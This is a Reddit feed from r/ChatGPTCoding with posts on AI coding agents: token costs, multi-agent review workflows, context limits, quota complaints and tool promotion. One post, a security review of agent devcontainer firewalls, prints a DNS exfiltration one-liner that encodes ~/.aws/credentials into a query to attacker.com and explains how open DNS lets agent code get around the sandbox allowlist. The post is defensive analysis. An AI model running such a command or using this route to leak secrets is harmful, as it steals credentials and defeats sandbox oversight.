r/ChatGPTCoding 4h ago

Question Claude Code vs GitHub Copilot: Token burn comparison using identical models & repos?

4 Upvotes

I'm currently evaluating GitHub Copilot vs. Claude Code for our team. We could use either, but for us there's a slight difference in cost per token (Copilot with Anthropic models vs. Claude Code directly).

If we use the exact same model on the same repository with identical instructions, has anyone noticed a real difference in token efficiency between the two harnesses? I'm wondering how much things like prompt caching, context assembly, or system prompting overhead change the actual token burn in practice.

Would appreciate any insights or real-world numbers!


r/ChatGPTCoding 6h ago

Resources And Tips 10 checks and tools for frontend projects with AI code going faster than humans can review

Thumbnail
evilmartians.com
3 Upvotes

r/ChatGPTCoding 14h ago

Discussion Two ways I tried and failed to manage context across multiple AI agents, and what I built instead

11 Upvotes

I keep seeing this question in the community. Here's what I actually tried, why it broke, and what I ended up shipping.

The problem

When you're running multiple agents across a session (one that writes, one that reviews, one that deploys) you need them to share state. Not just conversation history. Actual verified state: what changed, what's blocked, what evidence exists that a task is done.

What I tried first (and why it failed)

Attempt 1: I maintained the handoff notes myself

After every session, I updated a Markdown file. This worked until I finished tired and skipped the update. The next agent read stale context as if it were current. Worse: even when the file was accurate, I was still the router, a human bottleneck between every agent transition.

Attempt 2: I let agents maintain the notes

The agent finished its work, updated the handoff, and the next continued from there. Then I noticed the real problem: an agent could write "tests pass" just as easily as it could actually run the tests.

Agent A would write: "Refactored auth. Tests pass."

Agent B had no idea which tests ran, against which version, or whether the slow integration suite was skipped. It didn't inherit verified work. It inherited a story about the work.

What I built

Three principles became the foundation:

State in fields, not paragraphs. What changed, what's blocked, what's unresolved as explicit fields, not embedded in a summary. An agent can't make unresolved work disappear by writing a nicer paragraph.

The agent that does the work can't approve it. A separate reviewer starts from the original goal and inspects the result directly, not from the implementing agent's explanation of why it's probably done.

Machine-checkable claims need evidence attached to a specific version. "Tests pass" is a claim. A test result attached to the exact commit hash is evidence. If the code changes after the evidence was produced, the evidence doesn't automatically transfer.

This became an open-source project (link in comments).

Results over 30 days of dogfooding

4,172 PRs merged across 16 repositories, one maintainer

Coordination overhead stayed roughly flat from 3 agents to 10; adding agents stopped adding to my mental load linearly

Stale-context bugs dropped to near zero because agents can't declare victory without attached evidence

The number I actually care about: my day looks the same with 3 agents as with 10. That wasn't true before.

What didn't work

The reviewer agent still occasionally fails to distinguish "the goal changed mid-task" from "the implementation is wrong." We handle this with an explicit goal-hash that both agents reference, but it adds friction. Still working on the right UX for that.

Has anyone else hit the "agent self-reports done but the work isn't clean" problem? Curious what enforcement patterns people are using, if any.


r/ChatGPTCoding 6h ago

Discussion Stop building memory infrastructure for your AI agents

2 Upvotes

Every time agent memory comes up here, the conversation goes straight to MemGPT, vector databases, embedding pipelines. I get the appeal, you want to read the source, run it locally, own the data. But here is what actually happens when you self-host your agent's memory: you spend weekends maintaining retrieval pipelines instead of shipping agent logic.

The real problem most people have is not "I need to build a memory layer." It is "I need my agents and AI tools to remember the same context across sessions without me re-explaining everything." That is a different problem than "let me set up a vector DB."

A few things I have found matter more than the infrastructure itself:

Provenance: knowing which tool generated a thought matters more than raw storage. When retrieval mixes context from Cursor, Claude, and a custom agent without labeling where each piece came from, you get confident hallucinations grounded in nothing.

Rules that stick: personal style directives ("no tables," "short answers") should apply automatically on every new chat, not be pasted in manually each time.

Skills over improvisation: saving a reusable procedure once beats hoping the agent reconstructs the same steps next session.

Open-source memory tools give you transparency and control. A hosted layer gives you time back. The tradeoff is honest: how much infrastructure work are you willing to own before it eats your shipping time?


r/ChatGPTCoding 3h ago

Question I have both Jetbrain and vscode and looking for agentic extension that lets me add the whole codebase to context instead of agent reading files by checking

1 Upvotes

Obv i could create my own extension that does something like this but im just wondering is there a way with for example antigravity webstorm or vscode or another extension to load the whole codebase into context instead of agent reading by checking.


r/ChatGPTCoding 4h ago

Resources And Tips I read Anthropic's and OpenAI's agent devcontainers line by line. Here's what both leave open.

Post image
1 Upvotes

I run four agents at once on separate branches and worktrees and stopped reading every diff months ago. That only works if something other than my attention is holding the line, that is why I started to add security features to my dev containers.

It started with Anthropic's dev container. Its firewall lets DNS out to any server. So does OpenAI's, and their README says so plainly. Neither stops an agent shipping your keys out through a DNS query.

The detail, Anthropic's first. Line 29 allows UDP 53 to any server. Line 33 allows TCP 22 to any host. The allowlist rule on 117 has no port match, so it's any port on an allowed IP.

OpenAI's secure profile is better. Actual IPv6 default-deny, verified at startup, no SSH hole. DNS is still open though, UDP and TCP, lines 78 and 79. To their credit the README just says it:

The firewall does not apply its domain allowlist to DNS traffic, so code from an untrusted repository can exfiltrate data through DNS.

DNS is the one that bothered me, because it needs no privileges at all.

dig $(cat ~/.aws/credentials | base64 | head -c 60).attacker.com

That never connects to the attacker. A resolver you're allowed to use walks the chain and hands it over. iptables sees a normal query to an approved resolver and lets it through.

Docker's sbx is the one that's actually a product: KVM microVM, its own kernel, a gVisor userspace netstack, rules that are per host and per port and secret injection. Stronger boundary than anything I've built, no argument. Needs a Docker account though, and on a fresh personal account with no org it told me my policy was "managed by unknown organization" and wouldn't create a sandbox at all. Can't debug, because it's closed source.

As an open alternative I devloped o3s, it merges security and rapid development: Firewall lives in a separate container. The workspace has no way out except through it. DNS goes to a dnsmasq on that gateway with no catch-all upstream, just the domains I listed, so anything else gets refused instead of forwarded. Those same lookups drop the resolved IPs into ipsets, which is what keeps it working when a CDN moves.

Policy is one file:

["api.openai.com"]
ports  = [443]
secret = "OPENAI_API_KEY"

That secret line is the bit I use most. Key stays on the gateway, container gets a placeholder, gateway swaps in the real token on the way out for that host only.

Half of this isn't security though, and that's the half I actually notice day to day. Every repo and worktree in one workspace file, four agents on four branches, one source-control view for all of it. Rootless Docker and minikube inside so an agent can bring the whole stack up and wreck it. Everything installed is a devcontainer feature, so it's a list you edit rather than an image you're stuck with.

I also had the threat model wrong at first. I assumed the agent could just flush the firewall itself. It can't, sudo is scoped to that one script and a non-root process doesn't hold NET_ADMIN. So the problem was never escape, it's that the policy allows too much.

It won't stop exfiltration to a host you allowlisted, obviously. Push to your own GitHub repo and it's gone. And a container is a weaker boundary than a VM, so if you're running properly hostile code, go use sbx.

Otherwhise as open alternative: o3s

Anyone else using dev containers for their agent?


r/ChatGPTCoding 5h ago

Resources And Tips To everyone complaining about usage...

1 Upvotes

This may be obvious, but for those who don't know... the longer you run a session, the more tokens you will use. LLMs use tokens for inputs, outputs and review the context window for every new output. The more session text it processes, the more tokens burn, the faster usage gets gobbled up.

Additionally LLMs get dumber the long you run a session. Every model has capacity constraints built in, and once you cross 40% of that limit, there is too much information the model has to process to maintain quality output.

Matt Pocock explains these limits really well here:

https://youtu.be/nKSk_TiR8YA

https://youtu.be/-uW5-TaVXu4

Here is a breakdown of the context window capacity and max output for each of the models available in Codex:

Codex model Context window Max output
GPT-5.6 Sol 1,050,000 128,000
GPT-5.6 Terra 1,050,000 128,000
GPT-5.6 Luna 1,050,000 128,000
GPT-5.5 1,050,000 128,000
GPT-5.4 1,050,000 128,000
GPT-5.4 Mini 400,000 128,000
GPT-5.3-Codex-Spark Not publicly documented separately Not publicly documented separately

If you are running into limits then you need to compact your sessions when you can. Once you reach 40% - 50% you should compile the session to hand it off to a new one to free up context window space.

Also note that for those of you who use the voice feature, you are likely speaking WAY more words than you would type, which means more words = more token usage = faster drops in capacity.

To solve for this I created a skill called $context-capacity that, when run, tells you how much context capacity you've used, how much you have left, and the cumulative session usage with a recommendation. Here is what that output looks like for one of my sessions:

Recommendation: Handoff

Current context load: 144,827 / 258,400 tokens (56.0%)

Estimated remaining capacity: 113,573 tokens (44.0%)

Cumulative session usage: 289,355 tokens — cumulative, not current occupancy

Confidence: Exact recorded metrics with derived capacity. The current load exceeds the skill’s 40% handoff threshold.

The website and promo-video handoffs already created are ready for separate sessions.

Here's a link to the skills for $context-capacity and $handoff for anyone who wants to use it:

https://github.com/marcushackler/codex-skills


r/ChatGPTCoding 12h ago

Question Usage gone in 40 min

2 Upvotes

Hello!

I was using today sol on medium, and my 5h limit was gone in 40-50 minutes. Anyone observed something like this in the last 2 days? They said that they are fixing some bugs because of this issue (obver token comsumption). Is worse than before. I was having sol on medium for almost two hours, sometimes more than that.

Same thing for others??


r/ChatGPTCoding 1d ago

Discussion How do you stop AI coding agents from turning one bad change into a two-day debugging snowball?

11 Upvotes

I ran into a painful lesson while using Codex on a SwiftUI app.

One agent change introduced a performance regression. I didn’t catch it right away, and more changes landed on top of it. By the time I noticed, reroll animations were skipping frames, taps felt delayed, and screen transitions were lagging. Reverting everything wasn’t an option because some later changes were valid.

I had to find the last smooth commit, compare the history change by change, snapshot the current work, and remove the regression in a separate branch.

The big lesson for me: with AI agents, a bad change is much harder to fix if it isn’t validated immediately. The agent can keep moving while the problem quietly becomes part of the whole codebase.

What guardrails work for you? Small checkpoints after each agent task, isolated worktrees, automated performance smoke tests, physical-device checks, or a human review before the next task starts?


r/ChatGPTCoding 1d ago

Question silent a/b testing of astra ? or just unquantized 5.6gpt sol?

2 Upvotes

anyone notice that during some times of the day, if you get lucky, your 5.6 sol keeps track of every variable and the substrates they belong to?

but sometimes once it accepts one variable, it will remove another depending on your methodology/derivation for your mechanisms

anyway when i have notation collision, or any other kind of collision normal 5.6 sol is incredibly annoying to get to prune and address those specific collisions to not accidentally silently delete whatever transformation you're engaging with

last couple of days, at random times, the model has been fucking amazing out of nowhere at avoiding this particular failure

ive gotten it for like 1-2 hours and then randomly before its turn, you'll get a connection issue, you'll have to refresh, and then it's back to operational friction

there is a clear difference in user experience. i'm not exactly sure what causes it, but my theory is luckiness in the form of the a/b test or just maybe it's unquantized sometimes


r/ChatGPTCoding 17h ago

Discussion Why my chatgpt work still doesn't work even X(Twitter) already said everything was fine

0 Upvotes

How about your chatgpt work?


r/ChatGPTCoding 11h ago

Discussion It must be some kind of psy-op by OpenAI to claim that Sol is anywhere near as good as Fable

0 Upvotes

I have a ChatGPT Pro subscription and a Claude Max subscription, and use both extensively for work. To claim that any model offered by OpenAI is even close in capability or problem solving ability to Fable is a joke to me.

To me, the most comparable Claude model to 5.6 Sol, OpenAI's flagship, is Opus 5. They have roughly equivalent price (ignoring the temporary promotions on Sol pricing), and in my experience, their output quality is about the same as well; I end up having to put in about the same amount of effort correcting them or giving feedback to achieve a product of comparable quality.

The main difference is in the kind of feedback I have to give; with Sol, I typically end up having to add details to its results, such as instructing it to address missing edge cases, or take a more thorough approach when it took a simpler shortcut to solve my problem instead. With Opus, it usually finds most edge cases for me without having to say anything; but it also goes beyond and keeps finding more and more things, of decreasing and often spurious relevance to my actual problem. My effort usually comes in the form of telling it to ignore those extraneous edge cases and focus on the core of the problem.

But when compared to Fable, neither can hold a candle. Among every task I've ever given any agent, Fable always takes the least amount of time, the fewest tokens, and needs by far the least number of warnings in the prompt or corrections to the output, compared to any other Anthropic or OpenAI model.

To me, to say GPT 5.6 Sol is anywhere close to Fable in any capacity, and not just a competitor to Opus with different tuning, is completely unfathomable to me. You pay twice the price for it and you get your money's worth. Sure it's expensive, and you can run through your weekly limits in hours, but you can't argue that it just works. I can't say the same about Opus or Sol.


r/ChatGPTCoding 1d ago

Discussion Weekly Self Promotion Thread

3 Upvotes

Welcome to this week's self promotion thread!

If you're building something related to AI assisted coding, this is the place to share it.

We're using a weekly thread to keep the subreddit organized while still giving builders a place to share their work. Promotional posts outside this thread may be removed.

If you're sharing something, we'd appreciate it if you included a little context instead of just dropping a link. Tell us:

  • What you built?
  • What problem it solves?
  • Which AI models or tools it uses?
  • Who it's for?
  • What kind of feedback you're looking for?

Disclose your affilitation.

Please avoid posting the same project every week unless you've made meaningful updates. Affiliate links, referral links, scams, and low effort promotions will be removed.

Take some time to check out what others have shared too. If you try someone's project or have feedback, leave a comment. Helping each other improve is what we want this community to be about.


r/ChatGPTCoding 2d ago

Resources And Tips The 5 prompt sequence I run on every chunk of AI-written code before I trust it

64 Upvotes

The failure mode with AI code is not that it is wrong, it is that it is confidently wrong in ways that read fine. Asking "is this correct?" in the same chat is useless, the model that wrote it will defend it. So I run this as five separate messages after the code lands, each one after the previous answer, in the same conversation. It takes a few minutes and has caught things tests did not.

Step 1: Before anything else, explain this code back to me as if I did not write the request. What does it do, what does it assume about its inputs and environment, and what does it silently not handle?

Step 2: You are now a reviewer who believes this code has a bug and has to find it. List every way it could fail: bad inputs, empty cases, concurrency, error paths, wrong assumptions about the surrounding code. Rank by likelihood. No reassurance.

Step 3: For the top three risks in your list, write a minimal test that would expose each one. If a test would pass on the current code, say so and explain why the risk is not real.

Step 4: Fix only the failures those tests found. Show the diff, not the whole file, and for each change say which test it satisfies. Do not refactor anything else.

Step 5: Write the pull request description a careful reviewer would want: what changed, what the code assumes, what it does not handle by design, and what you would still want a human to check.

Two things make it work. Step 1 is the one people skip and the one that catches the most, because a wrong explanation of the code's own assumptions is the earliest sign something is off. And step 4 says "fix only" for a reason: left alone, the model will improve things nobody asked about and you are back to reviewing from zero.

I use it on anything that touches money, auth, or data deletion, and as a habit on everything else when I have the minutes.

I run it often enough that I keep it saved as a chain in a browser extension I work on (AI Toolbox), which sends each step after the previous answer finishes. Pasted by hand it works exactly the same.

What does your check look like before you merge AI code? I suspect a lot of people are doing step 2 and nothing else, which is how the confident-but-wrong stuff gets through.


r/ChatGPTCoding 1d ago

Question ChatGPT is confusing me and I'm running out of tokens

3 Upvotes

Hi everyone, I'm just getting started with ChatGPT Plus since I'd been using Claude Code before. Today was my first day, but I'm running into a few issues:

  • I'm pretty confused about the different models. I know that Sun is the equivalent of Sonnet, but when should I use the others?
  • ChatGPT, Works, and Codex are confusing me. Constantly switching between them just slows me down and confuses me.
  • Maybe it’s because Claude Code has that 50% computing limit (which expires on September 14), and that’s allowed me to work longer hours on some average-sized projects. The same task gets used up pretty quickly on ChatGPT.

I’d kindly appreciate some advice on the best way to work. I mainly use it for programming, creating documents, branding and digital marketing consulting, and, of course, I want to generate images with it. Now I’m worried that if I do too many things, my session will run out too quickly.

P.S.: I’ve tried looking for information on YouTube and in some posts here on Reddit, but I’m not entirely convinced or able to understand them, which is why I’m posting this. I’d like to hear experts’ opinions on how they comfortably use ChatGPT Plus and get the most out

Thank you very much, and I hope you’ll excuse any inconvenience, or if I’ve broken any rules within the group.


r/ChatGPTCoding 1d ago

Resources And Tips Made my Codex limits last almost ~3x longer with one change

0 Upvotes

Plus users are basically being forced to give up Sol and just use Luna to get any usable amount of work done. That's a huge downgrade basically using a deepseek flash model level which you can get for free in opencode anyway.

I started tracking where Sol's spent most of its tokens and most of it was searching around your repo looking for what to edit. Search took 30-60% of the total cost.

so I tried to come up with a solution that both lowers search cost and at the same time keep the same output quality from sol.

Then I found this Microsoft research paper that I based this on called FastContext. The concept doesn't work directly in Codex so I built my own implementation as an MCP Rust tool with a custom router I tuned and improved over weeks and weeks of benchmarking. Sol still does all the actual coding just that the search goes to luna*(Much cheaper).

The first attempt was simple putting custom instructions in agents.md and.. it was a disaster. Sol either ignores it or at one point it literally opened a web search for "how to start a subagent" (wish I was making that up lol). Even when it works you end up paying more for a much slower response because Luna sends back garbage half the time and Sol has to redo the search anyway.

the benchmarks I ran are DeepSWE, MAH-SWE, and bugs from repos I actually work on,with Luna's cost counted with Sol. limits lasted almost 3x longer, with no quality regression and most of the time faster responses!

one command in 3 seconds, it uses your existing Codex sub.

 https://github.com/repotracer/repotracer


r/ChatGPTCoding 1d ago

Question Kimi Code ate 18% of my weekly quota in 3 hours — Here is the log audit comparing it to Claude

2 Upvotes

Is Kimi Code's quota math broken? I compared it with Claude Code and Codex — the numbers don't add up

TL;DR: A single 3-hour session with Kimi Code consumed 18% of my entire weekly quota. On the exact same day, Claude Code processed 66x more tokens on a cheaper subscription without breaking a sweat. Support claims this is "standard product behavior." I ran a forensic audit on the local logs—using Kimi itself to write the parser and measure the data—and the results raise serious questions about how cache tokens are billed.


What happened

I'm an annual subscriber to Kimi Code (Moderato tier). I also use Claude Code and Codex CLI on the same machine for my daily dev workflow.

My Kimi weekly quota kept dying within hours of normal use. When I opened a ticket, support responded:

"All charges are normal. This is standard product behavior based on dialogue turns and historical context."

To see if this was actually "standard," I audited the local session logs across all three agents. I actually had Kimi Code itself write the log parsing script and extract the exact measurement data from the raw session files:

  • Kimi: ~/.kimi/sessions/*/wire.jsonl
  • Claude: ~/.claude/projects/*/*.jsonl
  • Codex: ~/.codex/sessions/*/*.jsonl

Same day, same machine, same user (2026-08-29)

Agent API requests My messages Tokens processed Quota result
Kimi Code 110 ~30 10.2M ~90% of WEEKLY quota gone
Claude Code 3,544 ~51 677M Fine (cheaper plan)

Over 5 weeks (Jul 24 – Aug 29)

Agent Total tokens processed
Claude Code 13.3 BILLION
Codex CLI 56M
Kimi Code 52M

Claude processed 256x more token volume than Kimi over 5 weeks on a cheaper subscription, with much heavier use, and never ran dry.


The Root Cause: Cache Billing & Amplification

Looking at context amplification (how many times the agent re-reads conversation context per turn):

  • Kimi: ~10–20x amplification
  • Claude: ~300x daily amplification (e.g., Aug 22: 180K new input tokens generated 1.3 Billion processed tokens in agent loops)

Technically, Kimi's agent implementation is more efficient with prompt context than Claude's. So why does Kimi's quota evaporate?

  1. Unrealistically Small Quota: Kimi's Moderato weekly quota measures out to roughly 11.3M tokens per week (measured: 565,819 tokens = exactly 5% of weekly limit).
  2. Full-Weight Cache Billing: Kimi appears to bill cache_read tokens at 100% full weight against the subscription allowance. In industry practice, prompt cache reads carry a ~90% discount (~0.1x weight).

Charging cache_read at 1:1 full weight against an 11.3M weekly quota means a standard 3-hour agentic session burns nearly a fifth of your weekly limit just re-reading context.


Support Response

  • "Session involved numerous dialogue turns... each request carries full historical context. This is standard product behaviour."
  • "cache_creation=0 is purely a display characteristic."
  • "Consider upgrading to a higher-tier plan."

Questions for the dev community

  1. Is billing cache_read tokens at FULL weight against a subscription quota standard for any other coding CLI?
  2. Has anyone else using Kimi Code hit their weekly quota within a day or two of normal use?
  3. Is an 11.3M weekly context quota mis-sized for a product marketed as an autonomous coding agent?

Full forensic audit with raw session IDs and per-day breakdowns is available on GitHub issue: MoonshotAI/kimi-cli #2626.

Posted in good faith. I like the K3 model itself—its reasoning is solid. This is strictly about quota economics and metering.


r/ChatGPTCoding 1d ago

Resources And Tips Benchmarked the free API tiers you can point a coding agent at - half of them now want a card

0 Upvotes

I run aider and Cline against free tiers instead of paying per token, and my setup broke twice this month when model IDs disappeared under me. So I stopped guessing and measured what's actually left.

The boring half first: a lot of the tiers people still recommend don't work any more. DeepSeek gave me 402 Insufficient Balance. SambaNova returned 402 PAYMENT_METHOD_REQUIRED. Together put the account in read-only until I make a deposit. Cerebras and xAI both want a card on file before anything runs at all. GitHub Models just returns 410 now, it was fully retired on July 30. If you're following a setup guide written earlier this year, roughly half the options in it are gone.

What's still free with no card. Same prompt, 500-token cap, temp 0.3, one streaming request each, run from a US GitHub Actions runner so distance isn't skewing anything. Throughput is generation-only and comes from each API's own usage token counts rather than a character estimate:

Groq, gpt-oss-120b - around 520 tok/s

Mistral, mistral-small - around 170 tok/s

OpenRouter, nemotron-3-super-120b free - around 46 tok/s

NVIDIA, the same nemotron model - anywhere from 27 to 100 tok/s depending on the run

GLM, glm-4-flash - around 21 tok/s

The one that surprised me: nemotron-3-super-120b is on both NVIDIA's own API and OpenRouter's free tier, which makes it the rare apples-to-apples case. OpenRouter served NVIDIA's own model faster than NVIDIA did, and with a third of the latency. 2.7s to first token at 45.7 tok/s, against 7.6s and 36.7 tok/s. I reran it assuming I'd messed something up, and NVIDIA just swings wildly between runs.

For agent work the tok/s number matters less than people assume, because an agent spends most of its wall clock waiting on the first token of many small calls rather than streaming one long answer. On that measure Groq is further ahead than the throughput alone suggests, and NVIDIA's 7.6s time-to-first-token is what makes it feel unusable in a loop even when its throughput looks acceptable.

Caveats, since free capacity is shared: one run per provider per attempt, expect plus or minus 30 percent, and trust the ranking more than the absolute numbers. This was Aug 31, and these tiers are changing every few weeks, so it'll be stale soon enough.


r/ChatGPTCoding 2d ago

Question Help Understanding the New Restrictions and Limits

8 Upvotes

I’ve been playing with Codex for the past 2 months, pretty much unrestricted. Never hit a limit, never asked to upgrade, just unrestricted access to both ChatGPT and Codex functions. As of August 25 I saw the news and was impacted by the 5 hour limit. I’m pretty far down the path of building a pretty cool app and now the restrictions are getting frustrating and over the top. How can a company go from complete unrestricted access to the opposite?
Is this the new reality? Just trying to get a handle on how best to proceed. This could get very expensive.


r/ChatGPTCoding 2d ago

Question When to use higher reasoning ?

4 Upvotes

Hi,

[a total newbie on coding asking]

Just wanted to clarify when to/when do you use higher reasoning in chat/codex?

I've been trying to build my own little hobby project in python, with the help of litterature.

My workflow is to brainstorm in chat[web] and after that get a codex prompt to run in VSC. So far has been decent. My problem is that after getting Pro i've been totally lost when to use extra high, pro, pro+ultra in chat. Also what settings to run the codex prompt, when is higher needed and when its not. Have to actually ask in chat if the prompt is complex or not and what settings to use.

I noticed running pro+ultra to analyze the project/problems or litterature got quite detailed answers and I had to dumb it down for me with extra high. But it also added some better reasoning and new points i"ve missed. But it the project/code it also found some errors and started perhaps to make it more complex im not sure.

So my workflow is like this,

  1. Starting a new chat with snapshot and running boostrap: Pro+Ultra

  2. Brainstorming in chat: extra high

  3. Evaluating the brainstorm: pro+ultra

  4. Writing codex prompt: pro+ultra

  5. Usually I try to ask what settings to run codex prompt it has been extra high or high so far with sol5.6.

  6. Analyzing the codex result: pro+ultra

Since my coding knowledge is 0 I have to trust that the suggestions are valid, but how do I know when to actually use what settings in chat/codex. So that the problem/execution wont get too complex or too light ?

Any suggestions, extra high is the best and fastest for chatting and brainstorming. But when to use pro and pro+ultra ?


r/ChatGPTCoding 2d ago

Question Can Antigravity be connected to ChatGPT and controlled through it?

4 Upvotes

Hi everyone, I have a question. Is it possible to connect Antigravity with ChatGPT and use ChatGPT to control it?

For example, can I give instructions to ChatGPT, and have it perform actions or build things through Antigravity?

If anyone has tried this or knows a possible setup, I’d appreciate your guidance.


r/ChatGPTCoding 3d ago

Resources And Tips How to Build Agentic Graphs

12 Upvotes

Over the past 4 months of working with graphs, I've learned several major lessons about graph design the hard way. In this post, I want to share the main takeaways so you don't repeat my mistakes.

First, my definition of graphs:

Agent graphs (a.k.a. workflows) are directed graphs that allow cycles and describe how work is passed between agents (nodes) operating in a loop through predefined transitions (edges). Graphs consist of branches, loops, scripts, and transitions (along with their prompts and parameters).

Parallelism is not the silver bullet

At first, I was very enthusiastic about parallel branches in graphs. But over time, I realized that parallelism can not only increase costs but also slow down task execution.

A standard parallel group of checks may include code review, QA, and scope review. The problem begins when these stages are inside a loop.

Let's take a simple example. Suppose code review, QA, and architecture run in parallel, after which the task returns to implementation if necessary.

If the architecture review passes but the code review finds several minor issues, the task returns to the implementation agent. Once the fixes are made, it goes back for review - and the architecture reviewer has to examine the updated diff again, even though the previous version was completely acceptable.

In cyclic graphs, parallel checks often lead to duplicated work, cache invalidation, and unnecessary costs with no real benefit.

In theory, this problem can be solved with a smart router. Kent supports this through script nodes: the router can determine whether the agent completed the entire implementation or only addressed feedback from a specific reviewer (kent.sh is my free, open-source project for building agent graphs. I mention it because I use it myself and don't know of any similar products. You can apply this advice to any comparable orchestrator).

However, this brings us back to the problem we were trying to avoid with agent graphs: the agent once again gets to decide which verification stages need to be run. This negates a significant portion of the graph's value.

In practice, the solution is simpler: dependent checks should run sequentially. In my workflows, architecture review always comes before code review. The task moves on to code review only after the architecture has been approved.

That's why I've removed many parallel stages and now save tokens by avoiding checks on results that would have been rejected at another stage anyway.

This approach works especially well with planning, code review, and QA. For example, code review should first filter out implementation issues, and only then should QA begin. Otherwise, both stages may independently find the same bug and produce duplicate feedback.

Agents must be able to challenge feedback

Initially, absolutism and dictatorship ruled my development agent graph: every reviewer comment had to be addressed, or the task could not proceed. But reviewers don't always produce the right result either.

Now, every agent in my graphs can ask me a question and clarify what to do with conflicting feedback. For example, scope review may reject tests that code review had required just one step earlier because it considered task verification incomplete without them. At the same time, agents cannot be fully trusted to resolve such conflicts on their own. Even with new models like Sol, you can end up in an infinite loop of fixing made up or nitpick problems.

I solve this by delegating the final decision to myself (pure choice, I like to be involved). You can also hand it off to a PM agent or set up communication between multiple agents. For example in Kent agents can get others' session IDs so they can discuss the situation and reach a compromise.

Anthropic in their recent paper argue that this is the model's problem. I disagree - this is the harness's problem, and my system above proves that.

A graph must have a mechanism for escalating conflicting or questionable feedback - otherwise, review turns into a dictatorship capable of trapping the entire workflow in a loop, or a war of stubborness.

Don't forget static checks

Agent graphs sound exciting, and it's easy to want to create dozens of agents and verification stages. This can indeed reduce the primary agent's cognitive load and improve the quality of its work, but static checks should take priority.

Initially, my implementation agent ran the linter, architecture tests, and unit tests itself, opened the PR, and checked incoming comments. I realized at one point that that's just cargo culting, then decided to move these actions into script nodes in the agent graph.

Now, a separate stage:

  • runs the required static checks and tests;
  • properly manages the machine's shared resources;
  • filters the results;
  • returns only relevant information to the implementation agent;
  • invokes the agent again only when its involvement is actually required.

If the tests are green, the implementation agent never even learns about it: no new turn is started, which means the agent doesn't spend a single token on running tests or reading their results.

Don't assign an LLM work that a regular script can perform more reliably and cheaply. At workflow scale, this produces substantial savings.

Choose models appropriate for tasks

If you don't optimize your graph for token usage and cost, you can significantly overspend simply because many tasks will be overkill under the updated workflow. In the past, we used one model for everything in harnesses because we had no alternative. You no longer need to do that, and properly allocating models and resources can save you a lot of money.

In standard harnesses, you can usually switch models, but doing so invalidates caches. On top of that, you either retain the cluttered context from the previous session or start a new one and steer/prompt it manually.

Kent solves these problems, so don't be afraid to create different roles for agents. For example, manual QA can run on cheap models like DeepSeek or Luna, which cost almost nothing or barely affect your subscription quota. The smartest models can then be reserved for critical stages, such as planning.

It has long been known that if you have a good plan, you can assign implementation to a less capable model and get almost the same result. Moreover, additional verification stages reduce the minimum level of model intelligence required to implement a task even further.

Starting with version 2.6, Kent natively allows one agent to select the model, system prompt role, and reasoning level for the next agent after transitioning along a graph edge. This makes it possible to:

  • delegate simple tasks and bug fixes to models like Luna;
  • run QA on cheap models with high limits;
  • hand simple decisions off to local models;
  • reserve the strongest models for complex planning and critical checks.

Keep an eye on caches and time between turns

I measured the threshold beyond which the probability of continuing a session after a cache miss - and paying several times more - becomes high enough for preemptive compaction to be worthwhile.

![Image](https://nek12.dev/media/speculative-compaction-kent-1788005145.webp) speculative compaction (for regular sessions) becomes worthwhile at ~88% context usage according to this slop-chart. For workflows, my statistical threshold is around 71%

Imagine that the implementation agent spent 40 minutes addressing code review feedback. During that time, the reviewer agents' caches may have been invalidated. When they review the work a second time, Kent will compact the session in advance so the review continues with fresh context and without unnecessary costs caused by a cache miss.

But this is only a heuristic. You should still consider how much time passes between consecutive calls to the same agent. If the workflow is long and a node waits a long time for the work to return, the likelihood of cache invalidation increases.

In this case, there are two main options:

  • use compact and continue mode in Kent - it is similar to speculative compact, but compaction is always performed;
  • create more granular checkpoints that return work to the agent more frequently and keep caches warm.

With the right setup, you can reduce costs so much that the average cost of completing a task is lower than working in a regular chat with the same Sol/Opus at standard reasoning.

If you ignore this, it's easy to fall into the overkill trap and become disappointed with agentic graphs: "This is too expensive for me." But in practice, well-designed agent graphs can be more efficient than standard sessions.

Make nodes idempotent

As my graph evolved, I added more and more ways to send a task backward. Different reviewers and stages gained the ability to return it to previous nodes. This gives agents the flexibility they need, for example, if the implementation agent receives a flawed plan, it should be able to return the task to the planning stage and explain exactly what needs to be fixed. As in regular software development, product issues and underspecified requirements are often discovered only during implementation.

That's normal, but what's not normal is a graph that gives the agent no way to handle such a situation. Every flawed line in a plan can potentially lead to thousands of lines of incorrect code.

But a non-obvious topological problem arises after the task returns to an earlier stage. Subsequent nodes may receive it with fresh context and a prompt implying that the work should start from scratch. For example, the implementation agent returns an unfinished task for replanning, then receives an instruction to implement the updated plan as though no previous work existed.

This can cause duplication, conflicting implementations in the same codebase, and wasted money - and not in the form of an obvious workflow failure, but through subtle issues like "weirdly many git commits on the PR". It's also a common mistake made by agents themselves when they build workflows for you, including Kent. Agents struggle to analyze topology in the context of prompting - to put themselves in the shoes of the agent doing the actual work.

Re-entering a node should not automatically mean repeating all the work from scratch. The agent must account for the existing result and continue from the current state.

Kent supports this natively: for implementation-related nodes, you can enable the continue or new continuation mode.

Prompts should also be adapted: explicitly state that receiving a task again does not mean the agent needs to start over. Kent already adds the relevant instructions to agent prompts during a workflow, but custom prompts may still implicitly assume that the work begins from scratch, and that can cause the model to freak out REALLY hard.

Idempotent nodes, controlled returns, and proper context reuse make an agent graph resilient not only to model errors but also to the real-world nonlinearity of development.


r/ChatGPTCoding 3d ago

Resources And Tips A green AI test suite can be a group project between the code and its mocks

2 Upvotes

The agent writes the feature.

The same agent writes mocks that agree with it.

Then the tests pass.

I still let AI generate most of the suite, but one test has to come from outside that loop: a captured API payload, an old migration fixture, two requests racing, something the implementation did not invent for itself.

Otherwise the code is grading its own homework with an answer key it also wrote.


r/ChatGPTCoding 2d ago

Question AI Server Management, AI-Handoff creation, Deployment and backup tool - Now I’m getting cold feet before beta testing (UK) Advise greatly appreciated

0 Upvotes

Hi all,

I’ve been building a complete Ubuntu server management software for some time now.
Full disclosure, I have used AI extensively to code but I have engineered and been the systems architect - this is NOT a quickly thrown together “AI slop” project.

The tool essentially auto-installs on a fresh Ubuntu server from your account on my website, it acts as a full server manager. It can give a very detailed handoff link to an AI of your choice, giving it instructions of how to safely build the project with you and giving it read only access to the initial files it needs in the new project.

It has a project deployer, to take care of everything from downloading the stack to configuring and launching.

It has a full backup client that you can install on a separate server (or as many as you choose) that keeps a fully encrypted full site backup of your build/data.

I genuinely haven’t seen another product that does the same thing and I’m really excited to get it tested. I just want to be responsible and I’m just super nervous.

I have the company registered, I’ve registered with the ICO, paid the fee.

I’m literally right next to being ready to press the button and open Beta testing for the initial few to try the product.

The issue is. I’ve suddenly become really anxious about releasing the project.
